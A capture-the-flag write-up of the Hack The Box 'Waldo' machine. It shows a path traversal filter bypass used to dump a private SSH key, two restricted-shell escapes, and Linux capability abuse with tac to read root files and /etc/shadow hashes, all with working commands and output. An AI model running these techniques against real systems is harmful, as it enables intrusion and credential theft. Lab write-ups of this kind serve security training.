Level: Mediun

Task: To find user.txt and root.txt file

Let’s start off with nmap command to find out the open ports and services.

root@kali:~/htb/waldo# nmap -sC -sV -oA nmap 10.10.10.87
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 15:05 CET
Nmap scan report for 10.10.10.87
Host is up (0.029s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds

.

Site

The site presents as a Where’s Waldo themed List Manager:

1533591731247

Beyond observing the awesome background (from Where’s Waldo? In Hollywood (Book 4 – Scene 3)) and the silly script that turns my mouse into a waldo head, I can create lists, add and delete items from them:

1533591783672

When I add a list, it is added in numerical order, and always named list[x], where x is an increasing int.

Under the Hood

If I watch what’s happening as I create and delete lists and items in a proxy (like burp, or firefox dev tools), there’s a series of POST requests to 4 php scripts:

  • dirRead.php
  • fileRead.php
  • fileWrite.php
  • fileDelete.php

Here’s an example selection of requests from burp generated by interacting with the site:

1533592009855

dirRead.php

If I pull up one of the POSTs to dirRead.php, I’ll see a request which includes a path:

Site Source

I can pipe the curl output into jq with the -r flag to print the string as raw, and select the fileobject (if you don’t know jq, you should check it out – it comes in handy in so many situations with json data.

So this command will grab dirRead.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=dirRead.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['path'])){
header('Content-type: application/json');
$_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
echo json_encode(scandir("/var/www/html/" . $_POST['path']));
}else{
header('Content-type: application/json');
echo '[false]';
}
}

fileRead.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileRead.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php


if($_SERVER['REQUEST_METHOD'] === "POST"){
$fileContent['file'] = false;
header('Content-Type: application/json');
if(isset($_POST['file'])){
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file'])); 
fclose();
}
}
echo json_encode($fileContent);
}

fileWrite.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileWrite.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
header('Content-Type: application/json');
$condition['result'] = false;
if(isset($_POST['listnum'])){
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
$handle = fopen($myFile, 'w');
$data = $_POST['data'];
fwrite($handle, $data);
fclose();
$condition['result'] = true;
}
}
echo json_encode($condition);
}

fileDelete.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=fileDelete.php" http://10.10.10.87/fileRead.php | jq -r .file
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['listnum'])){
header('Content-Type: application/json');
if(is_numeric($_POST['listnum'])){
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
unlink($myFile);
header('Content-Type: application/json');
echo '[true]';
}else{
header('Content-Type: application/json');
echo '[false]';
}
}else{
header('Content-Type: application/json');
echo '[false]';
}
}

Bypassing Filters

I can see in both dirRead and fileRead the user input is filtered to remove directory traversal attacks. There’s a third filter there in fileRead that prevents me from reading user.txt:

file filter
dirRead $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
fileRead $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
fileRead strpos($_POST['file'], "user.txt") === false

Fortunately for me, that style filter can be bypassed by including a string that, after the str_replace, will result in what I want. str_replace is not recursive. It only makes one pass over the string. So, str_replace( array("../", "..\""), "", "....//") == "../".

To test, I’ll get a directory listing of / and grab /etc/passwd:

root@kali:~/htb/waldo# curl -s -X POST -d "path=....//....//....//" http://10.10.10.87/dirRead.php | jq -rc
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]

root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//etc/passwd" http://10.10.10.87/fileRead.php | jq -r .file
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
--snip--
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

Intersting Files

In enumerating the box with dir list and file read, I’ll find a few interesting things.

Right away we see .dockerenv in the root. Looking around further, the box is sparse, so I am likely in a container.

There’s also a .ssh folder, which contains a file named .monitor, which is a private ssh key. I’ll save it with this command

  • root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//home/nobody/.ssh/.monitor" http://10.10.10.87/fileRead.php | jq -r .file > id_waldo_nobody
    root@kali:~/htb/waldo# cat id_waldo_nobody 
    -----BEGIN RSA PRIVATE KEY-----
    MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
    mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
    87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
    dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
    o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
    vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
    vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
    pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
    8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
    1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
    VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
    dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
    v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
    xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
    qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
    yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
    /pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
    LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
    lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
    w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
    1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
    rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
    X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
    DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
    W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
    -----END RSA PRIVATE KEY-----
    

SSH Access as nobody

Now with an ssh key, I can get a shell on Waldo as nobody:

root@kali:~# ssh -i id_rsa_waldo_nobody nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

This gives me access to user.txt:

waldo:~$ wc -c user.txt
33 user.txt
waldo:~$ cat user.txt
327******d24

Privesc / Pivot: nobody -> monitor

Discovery

The next step involves noticing a bunch of things that are acting weird and some experimentation (or, if you’re on free, noticing in the process list that someone else has already sshed into localhost as monitor).

  • The private key I found was named .monitor. I used it with nobody, but it didn’t have that name in it.
  • monitor isn’t a user on this host.
  • ssh on this box is configured to listen on 8888. When I tried to talk to 8888 from the attacker box, it hangs (remember the filtered return from the original nmap). But here’s the interesting parts from the ssh config:
    monitor@waldo:/$ grep -e "Port " -e AllowUser  /etc/ssh/sshd_config
    #Port 22
    AllowUsers monitor
    
  • I still see the host listening on 22 and 8888:
    waldo:~$ netstat -pant
    netstat: can't scan /proc - are you root?
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
    tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -
    tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -
    tcp        0      0 127.0.0.1:44626         127.0.0.1:22            TIME_WAIT   -
    tcp        0      0 10.10.10.87:8888        10.10.14.19:58580       ESTABLISHED -
    tcp        0      0 10.10.10.87:52772       10.10.10.87:22          TIME_WAIT   -
    tcp        0      0 :::80                   :::*                    LISTEN      -
    tcp        0      0 :::22                   :::*                    LISTEN      -
    tcp        0      0 :::8888                 :::*                    LISTEN      -
    

My theory at this point is that I’m in a container, and that the host is forwarding post 22 from the outside to port 8888 on the container. But the host is also still listening on port 22 for itself.

Restricted Shell

If I try sshing as monitor to localhost, I get a new shell, and a new host! (And a huge ascii art banner!):

waldo:~$  ssh -i /home/nobody/.ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.                                                                  
                      @@@,@@/ %                                                            
                     #*/%@@@@/.&@@,                                                          
                    @@@#@@#&@#&#&@@@,*%/                                                        
                 /@@@&###########@@&*(*                                                      
              (@################%@@@@@.     /**                                             
 `           @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%((/                               
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(           
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/          
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@           
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#            
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@              
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,              
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@               
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@               
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(               
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*                 
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@                    
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,                    
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                     
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#                     
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                      
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,                      
                          *@@,,,,,,,.,****,..,,,,,,,,&@@                       
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@                        
                           .@@,,,,,,,,,,,,,...,,,,,,@@                         
                            ,@@@,,,,,,,,,,,,,,,,.(@@@                          
                              %@@@@&(,,,,*(#&@@@@@@,     
                              
                            Here's Waldo, where's root?
Last login: Wed Dec 19 08:19:51 2018 from 127.0.0.1
-rbash: alias: command not found

And it’s a quite restricted shell:

monitor@waldo:~$ cd /
-rbash: cd: restricted

monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

I can’t change directory. There’s a bin dir with ls and 3 text editors, which is basically the only commands I can run.

monitor@waldo:~$ ls bin/
ls  most  red  rnano

There’s also this app-dev directory (more on that later).

Escape

I found 2 ways to escape from the restricted shell.

What Sets the Shell

The rbash environment I’m given is set in two places. First, if i look in /etc/passwdfor the monitor user, I’ll see its shell is set to rbash:

monitor@waldo:~$ grep monitor /etc/passwd
monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash

rbash will restrict my use of cd, changing the path, and calling programs outside my given path. Then, the path is set on the last line of the .bashrc file, which is sourced at shell creation time:

monitor@waldo:~$ tail -1 .bashrc
PATH=/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

In both escapes that follow, once I’m able to get a different shell, I’m able to change the path, and I’ve completely escaped.

Intended Route: red

In the bin dir, I’ll find a few editors:

monitor@waldo:~$ ls -l bin
total 0
lrwxrwxrwx 1 root root  7 May  3  2018 ls -> /bin/ls
lrwxrwxrwx 1 root root 13 May  3  2018 most -> /usr/bin/most
lrwxrwxrwx 1 root root  7 May  3  2018 red -> /bin/ed
lrwxrwxrwx 1 root root  9 May  3  2018 rnano -> /bin/nano

For each editor, they link back to the normal versions. Sometimes there’s an r in front of the name (to imply restricted). Neither nano nor most have any ability to run shell commands.

red is the name for the restricted version of ed, that doesn’t allow you to call system commands from inside it, for example. But this red just links back to unrestricted ed, not to an instance of red.

To escape rbash via ed, I’ll take advantage of ed’s ability to run shell commands. From the edman page:

!command

Executes command via sh(1). If the first character of command is ‘!’, then it is replaced by text of the previous ‘!command’ed does not process command for backslash () escapes. However, an unescaped ’%’ is replaced by the default filename. When the shell returns from execution, a ‘!’ is printed to the standard output. The current line is unchanged.

So, I can just open ed, type !/bin/sh, and have a full shell:

monitor@waldo:~$ red
!/bin/sh
$ pwd
/home/monitor
$ cd /
$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

I’ll need to set the path to something more reasonable, but that’s easy enough outside of rbash:

monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Unintended Route: ssh -t

The PATH is missing several entries and it is not possible to specify absolute paths. As the gnu.org article below on “The Restricted Shell” states, it is not possible to set the PATH variable in rbash.
https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html
Fortunately, the SSH “-t” switch allows a tty to be forced for the login, which will bypass rbash.
After exiting the current restricted shell, the command below is executed.

waldo:~$ ssh -i /home/nobody/.ssh/.monitor monitor@localhost -t bash
monitor@waldo:~$ cd /
monitor@waldo:/$ id
bash: id: command not found
monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:/$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

On the free servers, which had a lot of users going at once, this way was often given away because it shows up in the process list of the container, so once someone figured it out, it was obviously there for others to grab and use.

Privesc: Full Disk Read as root

Enumeration of the home directory reveals various binaries and “logMonitor-0.1” seems interesting as it might have been conferred privileges in order to read log files. However, the SETUID bit has not been set.
A less well-known technique of allowing binaries to run with elevated privileges are Linux Capabilities. The Post “Linux Capabilities – A friend and foe” by m0noc provides a good overview of this subject.
https://blog.m0noc.com/2016/05/linux-capabilities-friend-and-foe.html
A check for assigned capabilities can be performed with the getcap utility

Capabilities

Linux has a concept of capabilities, which allow you to assign a program rights to do certain things typically reserved for root. So, for example, the CAP_NET_BIND_SERVICE capability allows a program not running as root to bind to a port under 1024.

If I look at this program, using getcap, I’ll see it has a capability assigned:

monitor@waldo:/$ getcap -r * 2>/dev/null
home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
usr/bin/tac = cap_dac_read_search+ei

CAP_DAC_READ_SEARCH allows the program to bypass file and directory read permission checks. Neat.

the +ei means that the capability is:

  • (e)ffective – used by the kernel to perform permission checks
  • (i) inheritable – preserved across execve or fork calls

tac

tac is just reverse cat, as it in prints contents of files to stdout, but last line first.

With tac, I can get the root flag:

monitor@waldo:~/app-dev$ tac /root/root.txt
8fb*****f6c

If I wanted to read other files with more than one line, just tac twice:

monitor@waldo:/$ tac /etc/shadow | tac
root:$6$tRIbOmog$v7fPb8FKIT0QryKrm7RstojMs.ZXi4xxHz2Uix9lsw52eWtsURc9dwWMOyt4Gpd6QLtVtDnU1NO5KE5gF48r8.:17654:0:99999:7:::
daemon:*:17653:0:99999:7:::
--snip--
steve:$6$MmXo3me9$zPPUertAwnJYQM8GUya1rzCTKGr/AHtjSG2n3faSeupCCBjoaknUz2YUDStZtvUGWuXonFqXKZF8pXCkezJ.Q.:17653:0:99999:7:::
monitor:$6$IXQ7fATd$RsOewky58ltAbfdjYBHFk9/q5bRcUplLnM9ZHKknVB46smsKn4msCOXDpyYU6xw43rGqJl5fG3sMmEaKhJAJt/:17654:0:99999:7:::
app-dev:$6$RQ4VUGfn$6WYq54MO9AvNFMW.FCRekOBPYJXuI02AqR5lYlwN5/eylTlTWmHlLLvJ4FDp4Nt0A/AX2b3zdrvyEfwf8vSh3/:17654:0:99999:7:::

No root Shell, below ssh-tunnel explained

root@kali:~/htb/waldo# ssh -L8023:127.0.0.1:22 -i priv nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$
root@kali:~# netstat -alnp | grep 8023
tcp 0 0 127.0.0.1:8023 0.0.0.0:* LISTEN 2507/ssh 
tcp6 0 0 ::1:8023 :::* LISTEN 2507/ssh 
root@kali:~# nc localhost 8023
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
^C
root@kali:~# nc 10.10.10.87 22
SSH-2.0-OpenSSH_7.5
^C
root@kali:~/htb/waldo# ssh -p8023 -i priv monitor@localhost bash
id  
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
python3 -c "import pty; pty.spawn('/bin/bash')"
monitor@waldo:~$ pwd
pwd
/home/monitor

Author: Jacco Straathof